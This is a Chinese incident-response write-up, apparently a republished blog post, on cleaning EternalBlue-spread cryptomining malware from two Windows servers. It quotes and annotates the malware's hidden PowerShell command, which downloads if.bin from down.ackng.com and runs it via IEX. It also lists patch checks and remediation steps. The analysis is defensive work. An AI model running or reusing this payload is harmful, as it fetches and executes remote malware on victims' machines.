实战 | 记两次应急响应过程
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
案例一 在公司这几天收到 CSO 发来不少火绒告警讯息,通过查看信息发现是攻击 445 端口,这一看很可能是永恒之蓝呀。 通过对这台机器端口扫描结果发现对方也开了 445。😶 135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds1688/tcp open nsjtp-data3389/tcp open ms-wbt-server5200/tcp open targus-getdata49152/tcp open unknown49153/tcp open unknown49155/tcp open unknown49197/tcp open unknown49350/tcp open unknown49438/tcp open unknown57084/tcp open unknown65529/tcp open unknown65530/tcp open unknown65533/tcp open unknown 问负责人要了密码登录进去,随手看了下任务管理器,资源占用还挺高,任务栏程序窗口也没有,超奇怪的唉。🙄 那我想怎么能查得到这个 PowerShell 运行的是什么脚本呀,通过 google 找到一条语句,可查询 powershell.exe 命令行参数。 wmic process where caption="powershell.exe" get caption,commandline /value 得到异常参数。 Caption=powershell.exeCommandLine=powershell -nop -w hidden -ep bypass -c "$ifp=$env:tmp+'if.bin';if(test-path $ifp){$con=[System.IO.File]::ReadAllBytes($ifp);[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')};if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''}}if(!$con){$con=(New-Object Net.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-G4SEL2FMI8M&GUID=DC503C42-A0A0-EBD7-0982-249C228D246A&MAC=00:50:56:BC:32:54&OS=6.3.9600&BIT=64 位&USER=MSSQLSERVER&DOMAIN=WORKGROUP&D=&CD=Microsoft 基本显示适配器&P=0&FI=0&FM=0&IF=0&MF=0&HR=&UP=1586108.812&_T=1572307138.34506');[System.IO.File]::WriteAllBytes($ifp,$con)}IEX(-join[char[]]$con)" 一搜其中 down.ackng.com 域名得知是挖矿病毒。 手动格式化并查了一堆资料后写下注释。 powershell-nop -w hidden -ep bypass -c " $ifp=$env:tmp+'if.bin'; # 获取当前用户tmp目录下if.bin文件信息 if(test-path $ifp){ # 用test-path判断if.bin文件是否存在 $con=[System.IO.File]::ReadAllBytes($ifp); # 将if.bin文件作为字节读入内存,不过这里是放入变量 [System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')}; # 计算已经加载到内存中if.bin文件的md5校验和,将内容转换为十六进制存入变量s if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''} # 看校验和是否一至,不是就将$con清空(看看是不是自家挖矿文件)。 } if(!$con){ # 如果$con没被篡改(或不存在)继续往下走 $con=(New-Object Net.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-G4SEL2FMI8M&GUID=DC503C42-A0A0-EBD7-0982-249C228D246A&MAC=00:50:56:BC:32:54&OS=6.3.9600&BIT=64 位&USER=MSSQLSERVER&DOMAIN=WORKGROUP&D=&CD=Microsoft 基本显示适配器&P=0&FI=0&FM=0&IF=0&MF=0&HR=&UP=1586108.812&_T=1572307138.34506'); [System.IO.File]::WriteAllBytes($ifp,$con) # 创建一个对象,使用这个对象下载,将下载的内容存入$con变量,随后将$con的内容写入$ifp路径。 } IEX(-join[char[]]$con) # IEX=Invoke-Expression,用来执行$con恶意内容,搞不懂为啥要转换数组再join连接-join[char[]]" 根据脚本 $env:tmp 查看目录中发现 if.bin 和 m6.bin。 从秦萧公众号一篇应急响应文章得知判断方法,要想断定病毒或木马文件可以查看详细信息是否为空,正常文件都会带有信息。这 tips 在整理这篇总结时才发现,遂记录于此。 netstat -ano 查看网络连接和Wireshark抓包都没异常连接,火绒也没正常启用(显示驱动版本不匹配)。 查询系统补丁,服务器系统是 2012R2, MS17-010 的 kb4012213 和 kb4012216 补丁都没打,永恒之蓝实锤了。 systeminfo | findstr /I "kb4012213"systeminfo | findstr /I "kb4012216" 按基操查继续看任务计划、安全日志、系统日志、服务这几个方面。 任务计划发现命令方式都是随机字母,执行参数和前面混淆过的代码差不多。 日志和服务忘记录了,不过一般会有大量登录失败的痕迹,我也见过直接把日志清空的情况.... 脚本执行思路 分析 if.bin 文件,得知脚本会扫描整个内网 B 段和 C 段,采用 MS17-010 入侵和 3389 爆破等手段进入机器,采用无文件方式运行(甚至 360 开着都无法检测出这个进程出现问题),并使用任务计划等手段在服务器上持久化。 修复策略 删除异常任务计划 删除后门文件 结束PowerShell进程 开启Windows防火墙,并在入站规则禁止 445。 下载AD并全盘查杀 打补丁 案例二 又收到一条阿里云告警信息。 进程信息 网络连接 大量连接远程主机445端口,很有可能是被当作肉鸡去攻击别人机器。 补丁信息 未打 MS17-010 补丁。 systeminfo | find "4012215"systeminfo | find "4012212" 主机名: xx-xxOS 名称: Microsoft Windows Server 2008 R2 Standard OS 版本: 6.1.7601 Service Pack 1 Build 7601OS 制造商: Microsoft CorporationOS 配置: 独立服务器OS 构件类型: Multiprocessor Free注册的所有人: Windows 用户注册的组织: 产品 ID: 00477-001-0000421-84376初始安装日期: 2013/6/27, 17:14:43系统启动时间: 2019/11/15, 22:18:50系统制造商: Alibaba Cloud系统型号: Alibaba Cloud ECS系统类型: x64-based PC处理器: 安装了 1 个处理器。 [01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2500 MhzBIOS 版本: SeaBIOS 3288b3c, 2014/4/1Windows 目录: C:windows系统目录: C:windowssystem32启动设备: DeviceHarddiskVolume1系统区域设置: zh-cn;中文(中国)输入法区域设置: zh-cn;中文(中国)时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐物理内存总量: 8,191 MB可用的物理内存: 4,079 MB虚拟内存: 最大值: 16,381 MB虚拟内存: 可用: 7,580 MB虚拟内存: 使用中: 8,801 MB页面文件位置: D:pagefile.sys域: WORKGROUP登录服务器: \xx-xx修补程序: 安装了 185 个修补程序。 [01]: KB981391 [02]: KB981392 [03]: KB977236 [04]: KB981111 [05]: KB977238 [06]: KB2849697 [07]: KB2849696 [08]: KB2841134 [09]: KB2841134 [10]: KB977239 [11]: KB2670838 [12]: KB2592687 [13]: KB981390 [14]: KB2386667 [15]: KB2425227 [16]: KB2506014 [17]: KB2506212 [18]: KB2506928 [19]: KB2509553 [20]: KB2511455 [21]: KB2515325 [22]: KB2529073 [23]: KB2533552 [24]: KB2536275 [25]: KB2536276 [26]: KB2541014 [27]: KB2544893 [28]: KB2545698 [29]: KB2547666 [30]: KB2552343 [31]: KB2560656 [32]: KB2563227 [33]: KB2564958 [34]: KB2570947 [35]: KB2574819 [36]: KB2584146 [37]: KB2585542 [38]: KB2603229 [39]: KB2604115 [40]: KB2607047 [41]: KB2608658 [42]: KB2618451 [43]: KB2620704 [44]: KB2621440 [45]: KB2631813 [46]: KB2636573 [47]: KB2640148 [48]: KB2643719 [49]: KB2644615 [50]: KB2645640 [51]: KB2647753 [52]: KB2653956 [53]: KB2654428 [54]: KB2655992 [55]: KB2656356 [56]: KB2658846 [57]: KB2659262 [58]: KB2660075 [59]: KB2667402 [60]: KB2676562 [61]: KB2685811 [62]: KB2685813 [63]: KB2685939 [64]: KB2690533 [65]: KB2691442 [66]: KB2698365 [67]: KB2699779 [68]: KB2705219 [69]: KB2706045 [70]: KB2709630 [71]: KB2709981 [72]: KB2712808 [73]: KB2718704 [74]: KB2719857 [75]: KB2726535 [76]: KB2729094 [77]: KB2729452 [78]: KB2732059 [79]: KB2742599 [80]: KB2743555 [81]: KB2749655 [82]: KB2750841 [83]: KB2753842 [84]: KB2757638 [85]: KB2758857 [86]: KB2761217 [87]: KB2763523 [88]: KB2765809 [89]: KB2770660 [90]: KB2779562 [91]: KB2785220 [92]: KB2786081 [93]: KB2786400 [94]: KB2789645 [95]: KB2790113 [96]: KB2791765 [97]: KB2798162 [98]: KB2800095 [99]: KB2804579 [100]: KB2807986 [101]: KB2808679 [102]: KB2813170 [103]: KB2813347 [104]: KB2813430 [105]: KB2820197 [106]: KB2820331 [107]: KB2829361 [108]: KB2830290 [109]: KB2834140 [110]: KB2835361 [111]: KB2836502 [112]: KB2836943 [113]: KB2838727 [114]: KB2839894 [115]: KB2840149 [116]: KB2843630 [117]: KB2845690 [118]: KB2847311 [119]: KB2852386 [120]: KB2853952 [121]: KB2862152 [122]: KB2862330 [123]: KB2862335 [124]: KB2862966 [125]: KB2862973 [126]: KB2864058 [127]: KB2864202 [128]: KB2868038 [129]: KB2868116 [130]: KB2868626 [131]: KB2871997 [132]: KB2872339 [133]: KB2882822 [134]: KB2884256 [135]: KB2887069 [136]: KB2888049 [137]: KB2891804 [138]: KB2892074 [139]: KB2893294 [140]: KB2893519 [141]: KB2908783 [142]: KB2912390 [143]: KB2913152 [144]: KB2918614 [145]: KB2919469 [146]: KB2922229 [147]: KB2926765 [148]: KB2928562 [149]: KB2929733 [150]: KB2929755 [151]: KB2939576 [152]: KB2957189 [153]: KB2957503 [154]: KB2957509 [155]: KB2961072 [156]: KB2961851 [157]: KB2966583 [158]: KB2970228 [159]: KB2973201 [160]: KB2973351 [161]: KB2976897 [162]: KB2977292 [163]: KB2977728 [164]: KB2978092 [165]: KB2978120 [166]: KB2978668 [167]: KB2980245 [168]: KB2984972 [169]: KB2984976 [170]: KB2985461 [171]: KB2991963 [172]: KB2992611 [173]: KB2993651 [174]: KB2993958 [175]: KB2998527 [176]: KB2999226 [177]: KB3002885 [178]: KB3003057 [179]: KB3003743 [180]: KB3005607 [181]: KB3006226 [182]: KB3008627 [183]: KB3010788 [184]: KB976902 [185]: KB982018网卡: 安装了 3 个 NIC。 [01]: Microsoft Loopback Adapter 连接名: loopback 启用 DHCP: 是 DHCP 服务器: 255.255.255.255 IP 地址 [01]: 169.254.114.140 [02]: fe80::8074:78b9:934f:728c [02]: Microsoft Loopback Adapter 连接名: Npcap Loopback Adapter 启用 DHCP: 是 DHCP 服务器: 255.255.255.255 IP 地址 [01]: 169.254.219.140 [02]: fe80::e0cd:a78e:5d99:db8c [03]: Red Hat VirtIO Ethernet Adapter 连接名: 本地连接 3 启用 DHCP: 否 IP 地址 [01]: 192.168.2.18 [02]: fe80::3413:ef0f:fac1:6468 日志信息 根据恶意程序创建时间来筛查,安全日志 11 月 22 日前均被删除。 通过查询服务创建时间和释放时间吻合。 处理 通过火绒扫描删除恶意程序 防火墙入站规则禁止 445 连接本机。 PS:为什么文件没有被锁.....也许阿里云盾拦截操作了吧。 参考链接 永恒之蓝下载器木马再次更新 攻击者收集中招系统基本信息 https://s.tencent.com/research/report/709.html 应急响应系列之无文件攻击分析https://www.freebuf.com/articles/network/216918.html 闲聊Windows系统日志https://www.freebuf.com/vuls/175560.html powershell学习备忘 https://jeremyxu2010.github.io/2018/02/powershell%E5%AD%A6%E4%B9% A0%E5%A4%87%E5%BF%98/ https://laucyun.com/a18dd98b04154ff8891d4a0b17fd9d7b.html windows中常见后门持久化方法总结https://xz.aliyun.com/t/6461 作者:raingray 来源:https://www.raingray.com/archives/1988.html 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END
- 上一篇:Web安全之逻辑漏洞全方位总结
- 下一篇:实战|记一次HVV实战应急响应